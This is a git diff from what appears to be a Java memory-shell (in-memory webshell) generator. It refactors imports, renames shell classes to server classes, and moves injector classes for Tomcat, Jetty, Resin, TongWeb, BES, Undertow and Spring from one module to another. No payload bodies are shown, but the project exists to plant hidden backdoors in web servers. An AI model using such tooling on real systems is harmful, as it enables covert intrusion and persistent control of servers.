a/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.config; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.*; import lombok.experimental.SuperBuilder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java index d717e4f1..de6925f7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index a29083e3..bc966d5c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.utils.DigestUtils; import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.codec.digest.DigestUtils; import static net.bytebuddy.matcher.ElementMatchers.named; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java index 65acaf9a..8bedfe77 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java @@ -1,13 +1,15 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.memshell.server.AbstractShell; +import com.reajason.javaweb.memshell.server.AbstractServer; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; @@ -36,14 +38,14 @@ public abstract class ByteBuddyShellGenerator impleme .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))); String shellType = shellConfig.getShellType(); - AbstractShell shell = shellConfig.getServer().getShell(); + AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { - builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName); + builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName); } if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { - builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion()); + builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion()); } if (shellConfig.isJakarta()) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 1f6c3918..ae61e400 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.memshell.generator; -import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.utils.DigestUtils; import net.bytebuddy.dynamic.DynamicType; +import org.apache.commons.codec.digest.DigestUtils; import static net.bytebuddy.matcher.ElementMatchers.named; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java index 3d008e6c..480b15a4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.type.TypeDescription; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java index f8b3b6bd..d2da29d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java index 717b83fc..fbd2355b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.GenerationException; -import com.reajason.javaweb.memshell.server.AbstractShell; -import com.reajason.javaweb.memshell.server.BesShell; -import com.reajason.javaweb.memshell.server.TongWebShell; +import com.reajason.javaweb.memshell.server.AbstractServer; +import com.reajason.javaweb.memshell.server.Bes; +import com.reajason.javaweb.memshell.server.TongWeb; import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.description.field.FieldDescription; import net.bytebuddy.description.field.FieldList; @@ -30,7 +30,7 @@ public class ValveGenerator { public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; - public static DynamicType.Builder build(DynamicType.Builder builder, AbstractShell shell, String serverVersion) { + public static DynamicType.Builder build(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; if (serverVersion.equals("6")) { packageName = TONGWEB6_VALVE_PACKAGE; @@ -38,11 +38,11 @@ public class ValveGenerator { packageName = TONGWEB7_VALVE_PACKAGE; } else if (serverVersion.equals("8")) { packageName = TONGWEB8_VALVE_PACKAGE; - } else if (shell instanceof BesShell) { + } else if (shell instanceof Bes) { packageName = BES_VALVE_PACKAGE; } if (StringUtils.isEmpty(packageName)) { - if (shell instanceof TongWebShell) { + if (shell instanceof TongWeb) { throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion"); } return builder; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index c3b3036f..2d0908af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Visibility; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java index 4e966bb8..ed9e863b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.generator.command; -import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; /** diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesContextValveAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerMethodInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxNettyHandlerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java similarity index 98% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java index f4e9d31c..79e0b926 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java @@ -2,12 +2,9 @@ package com.reajason.javaweb.memshell.injector.springwebmvc; import org.objectweb.asm.*; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; -import java.util.zip.GZIPInputStream; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java similarity index 98% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index 56796278..b6e6fe18 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -2,12 +2,9 @@ package com.reajason.javaweb.memshell.injector.tomcat; import org.objectweb.asm.*; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; -import java.util.zip.GZIPInputStream; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java similarity index 98% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index c81621af..8dc7d451 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -6,7 +6,10 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.Collection; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.logging.Logger; import java.util.zip.GZIPInputStream; @@ -36,7 +39,6 @@ public class TongWebFilterInjector { try { Set contexts = getContext(); for (Object context : contexts) { - logger.info(context.getClass().getName()); Object filter = getShell(context); inject(context, filter); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java similarity index 100% rename from memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java similarity index 100% rename from 